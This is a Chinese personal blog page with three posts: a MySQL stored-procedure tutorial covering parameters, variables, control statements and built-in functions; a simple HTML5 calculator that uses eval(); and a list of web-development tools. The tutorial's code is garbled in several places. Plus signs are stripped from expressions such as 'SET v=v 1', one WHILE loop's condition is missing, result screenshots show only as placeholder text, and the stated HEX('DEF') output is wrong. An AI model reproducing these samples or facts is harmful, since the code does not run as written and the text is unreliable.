邵珠庆の日记 生命只有一次，你可以用它来做很多伟大的事情–Make the world a little better and easier


299月/18关

MySQL存储过程

发布在 邵珠庆

存储过程简介

SQL语句需要先编译然后执行，而存储过程（Stored Procedure）是一组为了完成特定功能的SQL语句集，经编译后存储在数据库中，用户通过指定存储过程的名字并给定参数（如果该存储过程带有参数）来调用执行它。

存储过程是可编程的函数，在数据库中创建并保存，可以由SQL语句和控制结构组成。当想要在不同的应用程序或平台上执行相同的函数，或者封装特定功能时，存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟，它允许控制数据的访问方式。

存储过程的优点：

(1).增强SQL语言的功能和灵活性：存储过程可以用控制语句编写，有很强的灵活性，可以完成复杂的判断和较复杂的运算。

(2).标准组件式编程：存储过程被创建后，可以在程序中被多次调用，而不必重新编写该存储过程的SQL语句。而且数据库专业人员可以随时对存储过程进行修改，对应用程序源代码毫无影响。

(3).较快的执行速度：如果某一操作包含大量的Transaction-SQL代码或分别被多次执行，那么存储过程要比批处理的执行速度快很多。因为存储过程是预编译的。在首次运行一个存储过程时查询，优化器对其进行分析优化，并且给出最终被存储在系统表中的执行计划。而批处理的Transaction-SQL语句在每次运行时都要进行编译和优化，速度相对要慢一些。

(4).减少网络流量：针对同一个数据库对象的操作（如查询、修改），如果这一操作所涉及的Transaction-SQL语句被组织进存储过程，那么当在客户计算机上调用该存储过程时，网络中传送的只是该调用语句，从而大大减少网络流量并降低了网络负载。

(5).作为一种安全机制来充分利用：通过对执行某一存储过程的权限进行限制，能够实现对相应的数据的访问权限的限制，避免了非授权用户对数据的访问，保证了数据的安全。

MySQL的存储过程

存储过程是数据库的一个重要的功能，MySQL 5.0以前并不支持存储过程，这使得MySQL在应用上大打折扣。好在MySQL 5.0开始支持存储过程，这样即可以大大提高数据库的处理速度，同时也可以提高数据库编程的灵活性。

MySQL存储过程的创建

语法

CREATE PROCEDURE  过程名([[IN|OUT|INOUT] 参数名 数据类型[,[IN|OUT|INOUT] 参数名 数据类型…]]) [特性 ...] 过程体

DELIMITER //
  CREATE PROCEDURE myproc(OUT s int)
    BEGIN
      SELECT COUNT(*) INTO s FROM students;
    END
    //
DELIMITER ;
分隔符

MySQL默认以";"为分隔符，如果没有声明分割符，则编译器会把存储过程当成SQL语句进行处理，因此编译过程会报错，所以要事先用“DELIMITER //”声明当前段分隔符，让编译器把两个"//"之间的内容当做存储过程的代码，不会执行这些代码；“DELIMITER ;”的意为把分隔符还原。

参数

存储过程根据需要可能会有输入、输出、输入输出参数，如果有多个参数用","分割开。MySQL存储过程的参数用在存储过程的定义，共有三种参数类型,IN,OUT,INOUT:

 

  • IN参数的值必须在调用存储过程时指定，在存储过程中修改该参数的值不能被返回，为默认值
  • OUT:该值可在存储过程内部被改变，并可返回
  • INOUT:调用时指定，并且可被改变和返回

    过程体

    过程体的开始与结束使用BEGIN与END进行标识。

    IN参数例子

    DELIMITER //
      CREATE PROCEDURE in_param(IN p_in int)
        BEGIN
        SELECT p_in;
        SET p_in=2;
        SELECT p_in;
        END;
        //
    DELIMITER ;
    #调用
    SET @p_in=1;
    CALL in_param(@p_in);
    SELECT @p_in;
    执行结果：
    自动草稿
    自动草稿
    自动草稿
    以上可以看出，p_in虽然在存储过程中被修改，但并不影响@p_id的值
    

    OUT参数例子
    

    #存储过程OUT参数
    DELIMITER //
      CREATE PROCEDURE out_param(OUT p_out int)
        BEGIN
          SELECT p_out;
          SET p_out=2;
          SELECT p_out;
        END;
        //
    DELIMITER ;
    #调用
    SET @p_out=1;
    CALL out_param(@p_out);
    

    SELECT @p_out;
    

    执行结果：
    

    自动草稿
    

    自动草稿
    

    自动草稿
    

    

    INOUT参数例子
    

    #存储过程INOUT参数
    DELIMITER //
      CREATE PROCEDURE inout_param(INOUT p_inout int)
        BEGIN
          SELECT p_inout;
          SET p_inout=2;
          SELECT p_inout;
        END;
        //
    DELIMITER ;
    #调用
    SET @p_inout=1;
    CALL inout_param(@p_inout) ;
    SELECT @p_inout;
    

    执行结果：
    

    自动草稿
    

    自动草稿
    

    自动草稿
    

    

    变量
    

    语法：DECLARE 变量名1[,变量名2...] 数据类型 [默认值];
    

    数据类型为MySQL的数据类型：
    

    数值类型
    

    自动草稿
    

    日期和时间类型
    

    自动草稿
    

    字符串类型
    

    自动草稿
    

    变量赋值
    

    语法：SET 变量名 = 变量值 [,变量名= 变量值 ...]
    

    用户变量
    

    用户变量一般以@开头
    

    注意：滥用用户变量会导致程序难以理解及管理
    

    #在MySQL客户端使用用户变量
    SELECT \'Hello World\' into @x;
    SELECT @x;
    

    SET @y=\'Goodbye Cruel World\';
    SELECT @y;
    SET @z=1 2 3;
    SELECT @z;
    

    执行结果：
    

    自动草稿
    

    自动草稿
    

    自动草稿
    

     
    

    #在存储过程中使用用户变量
    CREATE PROCEDURE GreetWorld() SELECT CONCAT(@greeting,\' World\');
    SET @greeting=\'Hello\';
    CALL GreetWorld();
    

    执行结果：
    

    自动草稿
    

    

    #在存储过程间传递全局范围的用户变量
    

    CREATE PROCEDURE p1() SET @last_proc=\'p1\';
    CREATE PROCEDURE p2() SELECT CONCAT(\'Last procedure was \',@last_proc);
    CALL p1();
    CALL p2();
    

    执行结果：
    

    自动草稿
    

    

    注释
    

    MySQL存储过程可使用两种风格的注释：
    

    • 

  • 双杠：--，该风格一般用于单行注释
    • 

  • C风格： 一般用于多行注释
    

    MySQL存储过程的调用
    

    用call和你过程名以及一个括号，括号里面根据需要，加入参数，参数包括输入参数、输出参数、输入输出参数。
    

    MySQL存储过程的查询
    

    #查询存储过程
    SELECT name FROM mysql.proc WHERE db=\'数据库名\';
    SELECT routine_name FROM information_schema.routines WHERE routine_schema=\'数据库名\';
    SHOW PROCEDURE STATUS WHERE db=\'数据库名\';
    

    #查看存储过程详细信息
    SHOW CREATE PROCEDURE 数据库.存储过程名;
    

    

    MySQL存储过程的修改
    

    ALTER PROCEDURE 更改用CREATE PROCEDURE 建立的预先指定的存储过程，其不会影响相关存储过程或存储功能。
    

    ALTER {PROCEDURE | FUNCTION} sp_name [characteristic ...]
    characteristic:
    { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
    | SQL SECURITY { DEFINER | INVOKER }
    | COMMENT \'string\'
    

    • 

  • sp_name参数表示存储过程或函数的名称；
    • 

  • characteristic参数指定存储函数的特性。
    • 

  • CONTAINS SQL表示子程序包含SQL语句，但不包含读或写数据的语句；
    • 

  • NO SQL表示子程序中不包含SQL语句；
    • 

  • READS SQL DATA表示子程序中包含读数据的语句；
    • 

  • MODIFIES SQL DATA表示子程序中包含写数据的语句。
    • 

  • SQL SECURITY { DEFINER | INVOKER }指明谁有权限来执行，DEFINER表示只有定义者自己才能够执行；INVOKER表示调用者可以执行。
    • 

  • COMMENT \'string\'是注释信息。

    实例：
    

    #将读写权限改为MODIFIES SQL DATA，并指明调用者可以执行。
    ALTER  PROCEDURE  num_from_employee
      MODIFIES SQL DATA
      SQL SECURITY INVOKER ;
    #将读写权限改为READS SQL DATA，并加上注释信息\'FIND NAME\'。
    ALTER  PROCEDURE  name_from_employee
      READS SQL DATA
      COMMENT \'FIND NAME\' ;
    

    

    MySQL存储过程的删除
    

    DROP PROCEDURE [过程1[,过程2…]]
    

    从MySQL的表格中删除一个或多个存储过程。
    

    

    MySQL存储过程的控制语句
    

    变量作用域
    

    内部变量在其作用域范围内享有更高的优先权，当执行到end时，内部变量消失，不再可见了，在存储
    过程外再也找不到这个内部变量，但是可以通过out参数或者将其值指派给会话变量来保存其值。
    

    #变量作用域
    DELIMITER //
      CREATE PROCEDURE proc()
        BEGIN
          DECLARE x1 VARCHAR(5) DEFAULT \'outer\';
            BEGIN
              DECLARE x1 VARCHAR(5) DEFAULT \'inner\';
              SELECT x1;
            END;
          SELECT x1;
        END;
        //
    DELIMITER ;
    #调用
    CALL proc();
    

    执行结果：
    

    自动草稿
    

    自动草稿
    

    

    条件语句
    

    IF-THEN-ELSE语句
    

    #条件语句IF-THEN-ELSE
    DROP PROCEDURE IF EXISTS proc3;
    DELIMITER //
    CREATE PROCEDURE proc3(IN parameter int)
      BEGIN
        DECLARE var int;
        SET var=parameter 1;
        IF var=0 THEN
          INSERT INTO t VALUES (17);
        END IF ;
        IF parameter=0 THEN
          UPDATE t SET s1=s1 1;
        ELSE
          UPDATE t SET s1=s1 2;
        END IF ;
      END ;
      //
    DELIMITER ;
    

    CASE-WHEN-THEN-ELSE语句
    

    #CASE-WHEN-THEN-ELSE语句
    DELIMITER //
      CREATE PROCEDURE proc4 (IN parameter INT)
        BEGIN
          DECLARE var INT;
          SET var=parameter 1;
          CASE var
            WHEN 0 THEN
              INSERT INTO t VALUES (17);
            WHEN 1 THEN
              INSERT INTO t VALUES (18);
            ELSE
              INSERT INTO t VALUES (19);
          END CASE ;
        END ;
      //
    DELIMITER ;
    

    

    循环语句
    

    WHILE-DO…END-WHILE
    DELIMITER //
      CREATE PROCEDURE proc5()
        BEGIN
          DECLARE var INT;
          SET var=0;
          WHILE var        INSERT INTO t VALUES (var);
            SET var=var 1;
          END WHILE ;
        END;
      //
    DELIMITER ;
    

    

    REPEAT...END REPEAT
    

    此语句的特点是执行操作后检查结果
    DELIMITER //
      CREATE PROCEDURE proc6 ()
        BEGIN
          DECLARE v INT;
          SET v=0;
          REPEAT
            INSERT INTO t VALUES(v);
            SET v=v 1;
            UNTIL v>=5
          END REPEAT;
        END;
      //
    DELIMITER ;
    

    

    LOOP...END LOOP
    DELIMITER //
      CREATE PROCEDURE proc7 ()
        BEGIN
          DECLARE v INT;
          SET v=0;
          LOOP_LABLE:LOOP
            INSERT INTO t VALUES(v);
            SET v=v 1;
            IF v >=5 THEN
              LEAVE LOOP_LABLE;
            END IF;
          END LOOP;
        END;
      //
    DELIMITER ;
    

    

    LABLES标号
    

    标号可以用在begin repeat while 或者loop 语句前，语句标号只能在合法的语句前面使用。可以跳出循环，使运行指令达到复合语句的最后一步。
    

    ITERATE迭代
    

    通过引用复合语句的标号,来从新开始复合语句
    

    #ITERATE
    DELIMITER //
      CREATE PROCEDURE proc8()
      BEGIN
        DECLARE v INT;
        SET v=0;
        LOOP_LABLE:LOOP
          IF v=3 THEN
            SET v=v 1;
            ITERATE LOOP_LABLE;
          END IF;
          INSERT INTO t VALUES(v);
          SET v=v 1;
          IF v>=5 THEN
            LEAVE LOOP_LABLE;
          END IF;
        END LOOP;
      END;
      //
    DELIMITER ;
    

    

    MySQL存储过程的基本函数
    

    字符串类
    

    CHARSET(str) //返回字串字符集
    CONCAT (string2 [,... ]) //连接字串
    INSTR (string ,substring ) //返回substring首次在string中出现的位置,不存在返回0
    LCASE (string2 ) //转换成小写
    LEFT (string2 ,length ) //从string2中的左边起取length个字符
    LENGTH (string ) //string长度
    LOAD_FILE (file_name ) //从文件读取内容
    LOCATE (substring , string [,start_position ] ) 同INSTR,但可指定开始位置
    LPAD (string2 ,length ,pad ) //重复用pad加在string开头,直到字串长度为length
    LTRIM (string2 ) //去除前端空格
    REPEAT (string2 ,count ) //重复count次
    REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替换search_str
    RPAD (string2 ,length ,pad) //在str后用pad补充,直到长度为length
    RTRIM (string2 ) //去除后端空格
    STRCMP (string1 ,string2 ) //逐字符比较两字串大小,
    SUBSTRING (str , position [,length ]) //从str的position开始,取length个字符,
    注：mysql中处理字符串时，默认第一个字符下标为1，即参数position必须大于等于1
    

    SELECT SUBSTRING(\'abcd\',0,2);
    

    结果：
    

    自动草稿
    

     
    

    SELECT SUBSTRING(\'abcd\',1,2);
    

    结果：
    

    自动草稿
    

     
    

    TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字符
    UCASE (string2 ) //转换成大写
    RIGHT(string2,length) //取string2最后length个字符
    SPACE(count) //生成count个空格
    

    数学类
    

    ABS (number2 ) //绝对值
    BIN (decimal_number ) //十进制转二进制
    CEILING (number2 ) //向上取整
    CONV(number2,from_base,to_base) //进制转换
    FLOOR (number2 ) //向下取整
    FORMAT (number,decimal_places ) //保留小数位数
    HEX (DecimalNumber ) //转十六进制
    注：HEX()中可传入字符串，则返回其ASC-11码，如HEX(\'DEF\')返回4142143
    也可以传入十进制整数，返回其十六进制编码，如HEX(25)返回19
    LEAST (number , number2 [,..]) //求最小值
    MOD (numerator ,denominator ) //求余
    POWER (number ,power ) //求指数
    RAND([seed]) //随机数
    ROUND (number [,decimals ]) //四舍五入,decimals为小数位数] 注：返回类型并非均为整数，如：
    

    #默认变为整型值
    

    SELECT ROUND(1.23);
    

    自动草稿
    

    SELECT ROUND(1.56);
    

    自动草稿
    

    #设定小数位数，返回浮点型数据
    SELECT ROUND(1.567,2);
    

    自动草稿
    

     
    

    SIGN (number2 ) // 正数返回1，负数返回-1
    

    

    日期时间类
    

    ADDTIME (date2 ,time_interval ) //将time_interval加到date2
    CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //转换时区
    CURRENT_DATE ( ) //当前日期
    CURRENT_TIME ( ) //当前时间
    CURRENT_TIMESTAMP ( ) //当前时间戳
    DATE (datetime ) //返回datetime的日期部分
    DATE_ADD (date2 , INTERVAL d_value d_type ) //在date2中加上日期或时间
    DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式显示datetime
    DATE_SUB (date2 , INTERVAL d_value d_type ) //在date2上减去一个时间
    DATEDIFF (date1 ,date2 ) //两个日期差
    DAY (date ) //返回日期的天
    DAYNAME (date ) //英文星期
    DAYOFWEEK (date ) //星期(1-7) ,1为星期天
    DAYOFYEAR (date ) //一年中的第几天
    EXTRACT (interval_name FROM date ) //从date中提取日期的指定部分
    MAKEDATE (year ,day ) //给出年及年中的第几天,生成日期串
    MAKETIME (hour ,minute ,second ) //生成时间串
    MONTHNAME (date ) //英文月份名
    NOW ( ) //当前时间
    SEC_TO_TIME (seconds ) //秒数转成时间
    STR_TO_DATE (string ,format ) //字串转成时间,以format格式显示
    TIMEDIFF (datetime1 ,datetime2 ) //两个时间差
    TIME_TO_SEC (time ) //时间转秒数]
    WEEK (date_time [,start_of_week ]) //第几周
    YEAR (datetime ) //年份
    DAYOFMONTH(datetime) //月的第几天
    HOUR(datetime) //小时
    LAST_DAY(date) //date的月的最后日期
    MICROSECOND(datetime) //微秒
    MONTH(datetime) //月
    MINUTE(datetime) //分返回符号,正负或0
    SQRT(number2) //开平方
    

    • 



 




标签: , 
没有评论












98月/18关


H5计算器实现




发布在 邵珠庆




<!DOCTYPE html>


<html>


<meta name="content-type" content="text/html; charset=UTF-8">


<head>


<title>Calculator</title>


<!--将按键内容以字符串形式存储在文字框中当按钮为“=”时，调用eval方法计算结果然后将结果输出文字框中-->


<script type="text/javascript">


var numresult; 


var str; 


function onclicknum(nums) { 


str = document.getElementById("nummessege"); 


str.value = str.value + nums; 


} 


function onclickclear() { 


str = document.getElementById("nummessege"); 


str.value = ""; 


} 


function onclickresult() { 


str = document.getElementById("nummessege"); 


numresult = eval(str.value); 


str.value = numresult; 


} 


</script>


</head>


<body bgcolor="affff" >


<!--定义按键表格,每个按键对应一个事件触发-->


<table border="1" align="center" bgColor="#bbff77" 


style="height: 350px; width: 270px">


<tr>


<td colspan="4">


<input type="text" id="nummessege" 


style="height: 90px; width: 350px; font-size: 50px" />


</td>


</tr>


<tr>


<td>


<input type="button" value="1" id="1" onclick="onclicknum(1)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="2" id="2" onclick="onclicknum(2)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="3" id="3" onclick="onclicknum(3)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="+" id="add" onclick="onclicknum('+')" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


</tr>


<tr>


<td>


<input type="button" value="4" id="4" onclick="onclicknum(4)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="5" id="5" onclick="onclicknum(5)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="6" id="6" onclick="onclicknum(6)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="-" id="sub" onclick="onclicknum('-')" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


</tr>


<tr>


<td>


<input type="button" value="7" id="7" onclick="onclicknum(7)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="8" id="8" onclick="onclicknum(8)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="9" id="9" onclick="onclicknum(9)" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="*" id="mul" onclick="onclicknum('*')" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


</tr>


<tr>


<td colspan="2">


<input type="button" value="0" id="0" onclick="onclicknum(0)" 


style="height: 70px; width: 190px; font-size: 35px">


</td>


<td>


<input type="button" value="." id="point" onclick="onclicknum('.')" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


<td>


<input type="button" value="/" id="division" 


onclick="onclicknum('/')" 


style="height: 70px; width: 90px; font-size: 35px">


</td>


</tr>


<tr>


<td colspan="2">


<input type="button" value="Del" id="clear" 


onclick="onclickclear()" 


style="height: 70px; width: 190px; font-size: 35px" />


</td>


<td colspan="2">


<input type="button" value="=" id="result" 


onclick="onclickresult()" 


style="height: 70px; width: 190px; font-size: 35px" />


</td>




</tr>




</table>


</body>


</html>




标签: , , 
没有评论












78月/18关


【干货】超全web开发工具资源集合




发布在 邵珠庆




作为Web开发者，这是好的时代，也是坏的时代。Web开发技术也在不断变化。虽然很令人兴奋，但是这也意味着Web开发人员需要要积极主动的学习新技术和新的编程语言，并愿意和渴望接受新的挑战，以适应变化。新的挑战可能会包括一些开发上的要求，如利用适应现有的框架来满足业务需求。测试一个网站，能从中知道出了哪些技术上的问题，并且我们针对这些问题进行优化和消除。便于后端的开发进程加快和测试。所以我们列出了完整的web开发所需要的工具和资源，助力开发者提高开发效率！学不止步，让我们努力成为一个优秀的开发者！


Web开发工具和资源整合


在这里说声抱歉，对于开发者开发使用的工具，我们无法一一囊括，这里是选取较为热门的工具和资源作为范例。我们希望能从中找到适合自己的工具助力自己的开发！


注：工具和资源排序不分先后。


JavaScript库


自动草稿


我敢说JavaScript语言是目前web开发最流行的编程语言。JavaScript库又称JavaScript框架，封装了很多预定义的对象和使用函数。是网站更容易兼容各式各样的浏览器。那么您就可以使用以下JavaScript库来帮助你的开发更好进行。


    

  • jQuery：快y速，小巧，功能丰富的JavaScript库。
    • 

  • BackBoneJS：为复杂Javascript应用程序提供模型(models)、集合(collections)、视图(views)的结构。
    • 

  • D3.js：D3是基于数据的文档操作javascript库,D3能够把数据和HTML、SVG、CSS结合起来,创造出可交互的数据图表。
    • 

  • React:：Facebook的Javascript库为构建用户界面而开发。
    • 

  • jQuery UI：jQuery UI 是以 jQuery 为基础的开源 JavaScript 网页用户界面代码库。包含底层用户交互、动画、特效和可更换主题的可视控件。
    • 

  • jQuery Mobile：基于HTML5用于创建移动 web 应用程序的框架。
    • 

  • Underscore.js：JavaScript实用库,提供了类似Prototype.js的一些功能,但是没有继承任何JavaScript内置对象。
    • 

  • Moment.js：一个 JavaScript 日期处理类库，用于解析、检验、操作、以及显示日期。
    • 

  • Lodash：一个 JavaScript 实用工具库,提供一致性,模块化,性能和配件等功能。
    • 

  • Vue：Vue.js（读音 /vjuː/, 类似于view）是一个构建数据驱动的 web 界面的库。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。
    • 



 


前端框架


自动草稿


通俗的前端由HTML，CSS，JavasScript等构成。当然为了适应Web开发日益增长的需求，应运而生许多独立的前端框架，例如Bootstrap。一个优秀的框架可以为前端开发人员在开发过程中增益，减小开发压力。


    

  • Bootstrap： Bootstrap 是基于 HTML、CSS、JAVASCRIPT 的,它简洁灵活,使得 Web 开发更加快捷。
    • 

  • Foundation： 迄今为止最好的响应式前端框架，更快、更轻、更多功能、更灵活、更强大！
    • 

  • Semantic UI：Semantic UI 是一款语义化设计的前端开源框架,其功能强大,使用简单,为设计师和开发师提供可复用的完美设计方案。
    • 

  • uikit：UIKit使用的变量基于LESS,具有体积小、模块化、可轻松地自定义主题及响应式界面。
    • 



 


Web应用框架


自动草稿


Web应用框架作为一个软件框架，意在帮助和缓解开发者在进行Web应用的开发与维护时遇见的开发问题。例如：AngularJS，您可以在您的项目完全免费使用它，详细文档请您参见 angularcdn.com.


    

  • Ruby：Ruby on Rails 是使用 Ruby 语言编写的网页程序开发框架，目的是为开发者提供常用组件，简化网页程序的开发。
    • 

  • React：React 起源于 Facebook 的内部项目，React 的设计思想极其独特，属于革命性创新，性能出众，代码逻辑却非常简单。是现在非长热门的框架。
    • 

  • Vue：Vue.js 是用于构建交互式的 Web  界面的库。它提供了 MVVM 数据绑定和一个可组合的组件系统，具有简单、灵活的 API。从技术上讲， Vue.js 集中在 MVVM 模式上的视图模型层，并通过双向数据绑定连接视图和模型。
    • 

  • AngularJS：AngularJS 通过新的属性和表达式扩展了 HTML，可以构建一个单一页面应用程序。AngularJS有着诸多特性，最为核心的是：MVVM、模块化、自动化双向数据绑定、语义化标签、依赖注入等等。
    • 

  • Ember.js：一个用于创建 web 应用的 JavaScript MVC 框架，采用基于字符串的Handlebars模板，支持双向绑定、观察者模式、计算属性（依赖其他属性动态变化）、自动更新模板、路由控制、状态机等。
    • 

  • Express：基于 Node.js 平台的 web 应用开发框架 基于Node.js 平台,快速、开放、极简的 web 开发框架。
    • 

  • Meteor：Meteor 是一个构建在 Node.js 之上的平台，用来开发实时网页程序。Meteor 位于程序数据库和用户界面之间，保持二者之间的数据同步更新。
    • 

  • Django：Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的软件设计模式,即模型M,视图V和控制器C。
    • 

  • ASP.net：ASP.NET是免费，高兼容的WEB应用框架，能够提供标准化WEB应用构建时所需的解决方案。
    • 

  • Laravel：一个免费，开源的PHP Web应用程序框架，可以基于MVC模式来创建Web应用程序。
    • 

  • Zend Framework 2：一款的Web应用框架，基于PHP来创建Web应用和服务端应用。
    • 

  • Phalcon：Phalcon 是开源、全功能栈、使用 C 扩展编写、针对高性能优化的 PHP 5 框架。
    • 

  • Symfony：Symfony是一个基于MVC模式的面向对象的PHP5框架。Symfony允许在一个web应用中分离事务控制，服务逻辑和表示层。
    • 

  • CakePHP：CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用，而 又不失灵活性。
    • 

  • Flask：Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ，模板引擎则使用 Jinja2
    • 

  • CodeIgniter：CodeIgniter 是一个简单快速的PHP MVC框架。它为团队提供了足够的自由支持，允许开发人员更迅速地工作。
    • 



任务批处理工具/包管理器


自动草稿


任务批量处理工具可将你的工作流程全自动化.例如你可以创建一个任务，使用JavaScript语言编写的工具来进行自动化的处理。 然后打包，这样会大大提高开发效率。包管理器它能跟踪所有已安装的软件、自动化进行安装和删除应用程序、以及确保所有软件都保持更新以获得最新的增强功能和错误修复。


    

  • Grunt：Grunt是基于Node.js的项目构建工具。它可以自动运行你所设定的任务。
    • 

  • Gulp：Gulp.js 是基于 Node.js 构建的一个自动化构建工具,开发者可以使用它在项目开发过程中自动执行常见任务。
    • 

  • npm：NPM（node package manager），通常称为node包管理器。顾名思义，它的主要功能就是管理node包，包括：安装、卸载、更新、查看、搜索、发布等。
    • 

  • Bower：Bower是一个客户端技术的软件包管理器，它可用于搜索、安装和卸载如JavaScript、HTML、CSS之类的网络资源。
    • 

  • Webpack：Webpack一个前端资源加载/打包工具，只需要相对简单的配置就可以提供前端工程化需要的各种功能，并且如果有需要它还可以被整合到其他比如 Grunt / Gulp 的工作流。
    • 



 


编程语言 / 开发平台


自动草稿


所有Web开发都需要编程语言的支持.编程语言（programming language），是用来定义计算机程序的形式语言。它是一种被标准化的交流技巧，用来向计算机发出指令。一种计算机语言让程序员能够准确地定义计算机所需要使用的数据，并精确地定义在不同情况下所应当采取的行动。.当然进行Web开发不仅仅只有一门语言来进开发。


    

  • PHP：PHP（外文名:PHP: Hypertext Preprocessor，中文名：“超文本预处理器”）是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点，利于学习，使用广泛，主要适用于Web开发领域
    • 

  • NodeJS：Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。
    • 

  • Javascript：JavaScript一种直译式脚本语言，是一种动态类型、弱类型、基于原型的语言，内置支持类型。它的解释器被称为JavaScript引擎，为浏览器的一部分，广泛用于客户端的脚本语言
    • 

  • HTML5：标记语言，是HTML和XHTML的最新版本。
    • 

  • Python：Python是一种解释型、面向对象、动态数据类型的高级程序设计语言。
    • 

  • Ruby：Ruby，一种为简单快捷的面向对象编程（面向对象程序设计）而创的脚本语言
    • 

  • Scala：Scala是一门多范式的编程语言，一种类似java的编程语言，设计初衷是实现可伸缩的语言、并集成面向对象编程和函数式编程的各种特性。
    • 

  • CSS3：CSS即层叠样式表（Cascading StyleSheet）。 在网页制作时采用层叠样式表技术，可以有效地对页面的布局、字体、颜色、背景和其它效果实现更加精确的控制。CSS3是CSS的最新版本。
    • 

  • SQL：结构化查询语言(Structured Query Language)简称SQL，是一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统；同时也是数据库脚本文件的扩展名。
    • 

  • Golang：Go是Google开发的一种编译型，可平行化，并具有垃圾回收功能的编程语言。
    • 

  • Rust：Rust是Mozilla开发的注重安全、性能和并发性的编程语言。
    • 

  • Elixir：Elixir 是一种函数式编程语言,建立在Erlang虚拟机之上。它是一种动态语言,灵活的语法与宏支持,利用Erlang的能力来构建并发、分布式、容错应用程序与热代码升级。
    • 



 


数据库


自动草稿


数据库（Database）是按照数据结构来组织、存储和管理数据的仓库。


    

  • MySQL：MySQL是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。
    • 

  • MariaDB：MariaDB数据库管理系统是MySQL的一个分支，主要由开源社区在维护，采用GPL授权许可MariaDB的目的是完全兼容MySQL，包括API和命令行，使之能轻松成为MySQL的代替品。
    • 

  • MongoDB：MongoDB 教程MongoDB 是一个基于分布式文件存储的数据库。由 C 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
    • 

  • Redis：Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
    • 

  • PostgreSQL：ostgreSQL支持大部分 SQL标准并且提供了许多其他现代特性：复杂查询、外键、触发器、视图、事务完整性、MVCC。
    • 



CSS 预处理器


自动草稿


CSS 预处理器定义了一种新的语言，其基本思想是，用一种专门的编程语言，为 CSS 增加了一些编程的特性，将 CSS 作为目标生成文件，然后开发者就只要使用这种语言进行编码工作。


通俗的说，“CSS 预处理器用一种专门的编程语言，进行 Web 页面样式设计，然后再编译成正常的 CSS 文件，以供项目使用。CSS 预处理器为 CSS 增加一些编程的特性，无需考虑浏览器的兼容性问题”，例如你可以在 CSS 中使用变量、简单的逻辑程序、函数等等在编程语言中的一些基本特性，可以让你的 CSS 更加简洁、适应性更强、可读性更佳，更易于代码的维护等诸多好处。例如：Sass，Less，Stylus。


    

  • Sass： Sass是一种CSS的开发工具，提供了许多便利的写法，大大节省了设计者的时间，使得CSS的开发，变得简单和可维护。
    • 

  • Less：Lesscss是一种动态样式语言,属于CSS预处理语言的一种,它使用类似CSS的语法,为CSS的赋予了动态语言的特性,如变量、继承、运算、函数等,更方便CSS的编写和维护。
    • 

  • Stylus：Stylus 是一个CSS的预处理框架，2010年产生，来自Node.js社区，主要用来给Node项目进行CSS预处理支持，所以Stylus 是一种新型语言，可以创建健壮的、动态的、富有表现力的CSS。
    • 



如果你是刚刚开始使用CSS的预处理器，你可能要先使用第三方编译器进行开发，如下所示。




文本编辑器 /代码编辑器


自动草稿


无论你是做笔记，敲代码，或者Markdown文档编写，一个好的文本编辑器都是必须拥有的！


    

  • Atom：Atom 更为先进的文本代码编辑器 - 由 Github 打造的下一代编程开发利器在代码编辑器、文本编辑器领域,有着不少的「神器」级的产品。
    • 

  • Sublime Text：Sublime Text 是一个代码编辑器（Sublime Text 2和3是收费软件，但可以无限期试用），也是HTML和散文先进的文本编辑器。
    • 

  • Notepad ：Notepad 是 Windows操作系统下的一套文本编辑器(软件版权许可证: GPL)，有完整的中文化接口及支持多国语言编写的功能。
    • 

  • Visual Studio Code：微软推出，一个运行于 Mac OS X、Windows和 Linux 之上的，针对于编写现代 Web 和云应用的跨平台源代码编辑器。
    • 

  • TextMate：TextMate是Mac下的著名的文本编辑器软件，与BBedit一起并称苹果机上的emacs和vim。
    • 

  • Coda 2:  OS X下快速，简洁，功能强大的编辑器【需要付费】.
    • 

  • WebStorm：jetbrains公司旗下一款JavaScript 开发工具。被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。
    • 

  • Vim：Vim是一个类似于Vi的著名的功能强大、高度可定制的文本编辑器，在Vi的基础上改进和增加了很多特性。
    • 

  • Brackets：Brackets 是一个免费、开源且跨平台的 HTML/CSS/JavaScript 前端 WEB 集成开发环境 (IDE工具)。
    • 

  • Emacs：著名的集成开发环境和文本编辑器。Emacs被公认为是最受专业程序员喜爱的代码编辑器之一。
    • 



Markdown 编辑器


自动草稿


